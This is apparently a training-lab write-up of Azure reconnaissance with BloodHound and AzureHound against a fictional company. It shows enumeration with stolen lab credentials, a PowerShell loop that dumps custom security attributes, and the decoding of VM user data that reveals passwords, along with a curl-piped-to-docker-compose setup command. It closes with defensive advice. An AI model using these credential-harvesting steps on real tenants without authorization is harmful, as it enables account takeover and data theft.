Azure Recon with BloodHound

Scenario

After discovering that a public company GitHub repository contained accidentally committed credentials, Mega Big Tech has requested us to investigate the extent of potential exposure. They want to determine if these credentials can be used to access their cloud environment and if any confidential data is at risk.

Learning Outcomes

  • Setting up BloodHound
  • Collecting Azure data using AzureHound
  • Using BloodHound to get situational awareness
  • Enumerating custom security attributes using PowerShell
  • Accessing credentials in virtual machine user data

Real World Context

Gaining situational awareness of a network is vital for defenders. Tools like BloodHound offer a visual representation of Azure relationships and permissions, helping defenders identify potential attack paths, over-permissive configurations, and simulate attacker reconnaissance. This insight and purple team approach enables proactive defense and reduces the attack surface.

Entry Point

IAM User: Jose.Rodriguez@megabigtech.com
Password: Bigt3ch123!

Attack

One of the first things that we should do when we have gained access to an environment is to gain situational awareness to help orient ourselves and to understand what potential attack vectors may exist and the quote from John Lambert, Defenders think in lists. Attackers think in graphs. As long as this is true, attackers winsums this up beautifully. To help us understand the interconnectedness of systems, we shall use BloodHoundCE.

To setup, refer to the article Install BloodHound Community Edition with Docker Composefrom BloodHound Support which provides detailed instructions.

With Docker and Docker Compose Installed, run the command curl -L https://ghst.ly/getbhce | docker-compose -f - up -d

Once it has started, we need to run the command docker logs [container name] to get the password that we will use to login.

bloodhound_1  | {"level":"info","time":"2024-09-05T05:11:25.252284793Z","message":"# Initial Password Set To:    jDTqC9D5Aer8QjAVFnUc6OkR2jzCaUUO    #"}

We then navigate to http://localhost:8080/ui/login and login with username admin and the randomly generated password, we will be prompted to enter a new password.

Once we have logged in we then click on the cog in the top right of the page and select Download Collectors

We will select AzureHound and we can view the contents of the file with the command unzip -l azurehound-v2.2.1.zip showing a number ov versions for different Operating System architectures.

❯ unzip -l azurehound-v2.2.1.zip
Archive:  azurehound-v2.2.1.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
        0  2024-10-22 15:43   azurehound-darwin-amd64/
 11404928  2024-09-06 16:13   azurehound-darwin-amd64/azurehound
        0  2024-10-22 15:43   azurehound-darwin-arm64/
 11146178  2024-09-06 16:13   azurehound-darwin-arm64/azurehound
        0  2024-10-22 15:43   azurehound-linux-amd64/
 10510336  2024-09-06 16:13   azurehound-linux-amd64/azurehound
        0  2024-10-22 15:43   azurehound-linux-arm64/
  9895936  2024-09-06 16:13   azurehound-linux-arm64/azurehound
        0  2024-10-22 15:43   azurehound-windows-amd64/
 10869760  2024-09-06 16:13   azurehound-windows-amd64/azurehound.exe
        0  2024-10-22 15:43   azurehound-windows-arm64/
 10205184  2024-09-06 16:13   azurehound-windows-arm64/azurehound.exe
---------                     -------
 64032322                     12 files

We need to have the Tenant ID, so first we will authenticate to Azure to get that information and then we will run AzureHound

❯ az login -u Jose.Rodriguez@megabigtech.com -p 'Bigt3ch123!'
Authentication with username and password in the command line is strongly discouraged. Use one of the recommended authentication methods based on your requirements. For more details, see https://go.microsoft.com/fwlink/?linkid=2276314
[
  {
    "cloudName": "AzureCloud",
    "homeTenantId": "2590ccef-687d-493b-ae8d-441cbab63a72",
    "id": "ceff06cb-e29d-4486-a3ae-eaaec5689f94",
    "isDefault": true,
    "managedByTenants": [],
    "name": "Microsoft Azure Sponsorship",
    "state": "Enabled",
    "tenantDefaultDomain": "megabigtech.com",
    "tenantDisplayName": "Default Directory",
    "tenantId": "2590ccef-687d-493b-ae8d-441cbab63a72",
    "user": {
      "name": "Jose.Rodriguez@megabigtech.com",
      "type": "user"
    }
  }
]

We then run AzureHound to extract information and for detailed information the on the commands and options, refer to the Support Documentation

❯ ./azurehound -u Jose.Rodriguez@megabigtech.com -p 'Bigt3ch123!' --tenant '2590ccef-687d-493b-ae8d-441cbab63a72' list --output mbt-output.json
AzureHound v2.2.1
Created by the BloodHound Enterprise team - https://bloodhoundenterprise.io

No configuration file located at /home/kali/.config/azurehound/config.json
2024-11-18T13:21:22+08:00 INF collecting azure objects...
2024-11-18T13:21:23+08:00 INF finished listing all devices count=4
2024-11-18T13:21:23+08:00 INF finished listing all groups count=27
2024-11-18T13:21:23+08:00 INF finished listing all users count=78
2024-11-18T13:21:23+08:00 INF finished listing all device owners
2024-11-18T13:21:23+08:00 INF warning: unable to process azure management groups; either the organization has no management groups or azurehound does not have the reader role on the root management group.
2024-11-18T13:21:23+08:00 INF finished listing all management group role assignments
2024-11-18T13:21:23+08:00 INF finished listing all management group descendants
2024-11-18T13:21:23+08:00 INF finished listing all apps count=42
2024-11-18T13:21:23+08:00 INF finished listing all subscriptions count=1
2024-11-18T13:21:24+08:00 INF finished listing all subscription role assignments
2024-11-18T13:21:24+08:00 INF finished listing all subscription user access admins
2024-11-18T13:21:24+08:00 INF finished listing all resource groups
2024-11-18T13:21:24+08:00 INF finished listing all resource group role assignments
2024-11-18T13:21:24+08:00 INF finished listing all tenants count=2
2024-11-18T13:21:24+08:00 INF finished listing all virtual machine scale sets
2024-11-18T13:21:24+08:00 INF finished listing all vm scale set role assignments
2024-11-18T13:21:24+08:00 INF finished listing all managed clusters
2024-11-18T13:21:24+08:00 INF finished listing all managed cluster role assignments
2024-11-18T13:21:24+08:00 INF finished listing all group owners
2024-11-18T13:21:24+08:00 INF finished listing members for all groups
2024-11-18T13:21:24+08:00 INF finished listing all container registries
2024-11-18T13:21:24+08:00 INF finished listing all container registry role assignments
2024-11-18T13:21:24+08:00 INF finished listing all virtual machines
2024-11-18T13:21:24+08:00 INF finished listing all app owners
2024-11-18T13:21:24+08:00 INF finished listing all logic apps
2024-11-18T13:21:24+08:00 INF finished listing all logic app role assignments
2024-11-18T13:21:24+08:00 INF finished listing all virtual machine role assignments
2024-11-18T13:21:24+08:00 INF finished listing all automation accounts
2024-11-18T13:21:24+08:00 INF finished listing all automation account role assignments
2024-11-18T13:21:24+08:00 INF finished listing all function apps
2024-11-18T13:21:24+08:00 INF finished listing all function app role assignments
2024-11-18T13:21:25+08:00 INF finished listing all web apps
2024-11-18T13:21:25+08:00 INF finished listing all web app role assignments
2024-11-18T13:21:25+08:00 INF finished listing all roles count=114
2024-11-18T13:21:25+08:00 INF finished listing all role assignments
2024-11-18T13:21:27+08:00 INF finished listing all key vaults
2024-11-18T13:21:27+08:00 INF finished listing all key vault role assignments
2024-11-18T13:21:29+08:00 INF finished listing all service principals count=509
2024-11-18T13:21:29+08:00 INF finished listing all app role assignments
2024-11-18T13:21:29+08:00 INF finished listing all service principal owners
2024-11-18T13:21:29+08:00 INF collection completed duration=6.989774741s

shutting down gracefully, press ctrl+c again to force

Now that we have run azurehound and saved the data, we go back to the BloodHound page, click the cog in the top right hand corner and select Administration which will allow us to upload the file and follow the prompts.

The ingestion process with take a couple of minutes depending on the size of the organisation, and once this is complete we can select the Explore button on the top menu and then search for the user account and click on Object to display details.

If we right click on the object, we can select Add to Owned which will then mark the object with a skull to visually identify it as owned

There is value in marking objects as owned or high value targets as they can be used as part of Cypher queries that will help map out attack paths in larger environments.

If we click to Cypher we can then click the Folder Icon to the left and search using Pre-built searches, for example All Global Administrators for Azure

If we move our focus back to Jose, we can click on Roles in the Object Properties to the right and it will show us that he is a member of the It-HelpDesk Group, which has 4 roles assigned to it and the Update Manager role directly assigned to his account.

At this point it is important to talk about Edges which are the connections between the objects with the direction of the edge always indicates the direct of attack, or the direction of escalating privileges. For more details about Edges refer to the documentation

The one that is the most interesting is Attribute Assignment Reader as this allows reading security attribute keys and values

Time to find out which users have Security Attributes set. We will start PowerShell and then connect to the Microsoft Graph

PS> connect-mggraph
Welcome to Microsoft Graph!

Connected via delegated access using 14d82eec-204b-4c2f-b7e8-296a70dab67e
Readme: https://aka.ms/graph/sdk/powershell
SDK Docs: https://aka.ms/graph/sdk/powershell/docs
API Docs: https://aka.ms/graph/docs

NOTE: You can use the -NoWelcome parameter to suppress this message.

If there is a permission to read custom security attributes, then it would only seem logical that they would be used in the environment. The following is the Microsoft Documentation on retrieving Custom Security attributes. Using this we will craft the following script to save having to look for them manually

$allusers = Get-MgUser -All

foreach ($user in $allusers) {
	$userAttributes = Get-MgUser -UserId $user.Id -Property "customSecurityAttributes"
	Write-Host "User: $($user.UserPrincipalName)"
	$userAttributes.CustomSecurityAttributes.AdditionalProperties | fl
	Write-Host "--------------"
}

This printed out a list of users and we found the following

User: archive@megabigtech.com

Key   : Helpdesk
Value : {[@odata.type, #microsoft.graph.customSecurityAttributeValue], [Password, D4taS3cur1ty!!]}

After finding this we login to the portal as Jose and look at the properties of the Archive User

One area that Bloodhound is lacking is with regards to Azure Role Assignments. Whilst we are logged into the portal and we look at the IT-Helpdesk group, we can see that we have an Assignment of Reader to the Security-PC

We look at the Security-PC and we find User-Data which contains credentials

# Credentials: User: security-user | Password: Imp0sec0sT!
az storage blob download --account-name securityconfigs --container-name security-pc --name config-latest.xml --auth-mode login

We login as the security-user with the credentials that we found and we have the flag

Alternative Approach

Whilst BloodHound is a fantastic tool, it does have it shortcomings and this is why in enumeration it is important to ensure that all angles are covered and with Azure, that often requires a combination of Azure CLI, PowerShell and Microsoft Graph. Lets look at how we could have also found out about the Security-PC as well as our Role Assignment.

We Connect using PowerShell and one of the first things that we do after that is to look at what resources we have access to

PS> Connect-AzAccount
Please select the account you want to login with.

Retrieving subscriptions for the selection...

[Announcements]
With the new Azure PowerShell login experience, you can select the subscription you want to use more easily. Learn more about it and its configuration at https://go.microsoft.com/fwlink/?linkid=2271909.

If you encounter any problem, please open an issue at: https://aka.ms/azpsissue

Subscription name           Tenant
-----------------           ------
Microsoft Azure Sponsorship Default Directory

PS> Get-AzResource

Name              : SECURITY-PC
ResourceGroupName : content-static-2
ResourceType      : Microsoft.Compute/virtualMachines
Location          : eastus
ResourceId        : /subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/content-static-2/providers/Microsoft.Compute
                    /virtualMachines/SECURITY-PC
Tags              :

With this we can see that we have access to the computer SECURITY-PC and we can then enumerate it and pass in the parameter flag for user data, which is returned in Base64

PS> Get-AzVM -ResourceGroupName content-static-2 -Name SECURITY-PC -UserData


ResourceGroupName : content-static-2
Id                : /subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/content-static-2/providers/Microsoft.Compute
/virtualMachines/SECURITY-PC
VmId              : 648c8a08-c90a-4a95-8922-4cbf28375bcb
Name              : SECURITY-PC
Type              : Microsoft.Compute/virtualMachines
Location          : eastus
LicenseType       : Windows_Client
Tags              : {}
HardwareProfile   : {VmSize}
NetworkProfile    : {NetworkInterfaces}
SecurityProfile   : {UefiSettings, SecurityType}
OSProfile         : {ComputerName, AdminUsername, WindowsConfiguration, Secrets, AllowExtensionOperations, RequireGuestProvisionSig
nal}
ProvisioningState : Succeeded
StorageProfile    : {ImageReference, OsDisk, DataDisks, DiskControllerType}
Identity          : {PrincipalId, TenantId, Type}
Zones             : {1}
UserData          : IyBDcmVkZW50aWFsczogVXNlcjogc2VjdXJpdHktdXNlciB8IFBhc3N3b3JkOiBJbXAwc2VjMHNUIQpheiBzdG9yYWdlIGJsb2IgZG93bmxvYWQ
gLS1hY2NvdW50LW5hbWUgc2VjdXJpdHljb25maWdzIC0tY29udGFpbmVyLW5hbWUgc2VjdXJpdHktcGMgLS1uYW1lIGNvbmZpZy1sYXRlc3QueG1sIC0tYXV0aC1tb2RlIG
xvZ2luCg==
TimeCreated       : 10/31/2023 15:24:18
Etag              : "16"

We can then decode that and we have found the user data and can continue as before

❯ echo -n 'IyBDcmVkZW50aWFsczogVXNlcjogc2VjdXJpdHktdXNlciB8IFBhc3N3b3JkOiBJbXAwc2VjMHNUIQpheiBzdG9yYWdlIGJsb2IgZG93bmxvYWQ
gLS1hY2NvdW50LW5hbWUgc2VjdXJpdHljb25maWdzIC0tY29udGFpbmVyLW5hbWUgc2VjdXJpdHktcGMgLS1uYW1lIGNvbmZpZy1sYXRlc3QueG1sIC0tYXV0aC1tb2RlIG
xvZ2luCg==' | base64 -d
# Credentials: User: security-user | Password: Imp0sec0sT!
az storage blob download --account-name securityconfigs --container-name security-pc --name config-latest.xml --auth-mode login

Defense

Azure user management improves on Active Directory by removing user text fields often misused for storing passwords;however, the preview of Azure custom security attributes reintroduces the risk of misuse if administrators use these fields to store sensitive information for convenience.

While these attributes are not directly accessible to regular users (unlike in Active Directory), it’s crucial to tightly control access to the Attribute Definition Reader and Attribute Assignment Reader roles. Avoid using custom attributes to store credentials or sensitive data.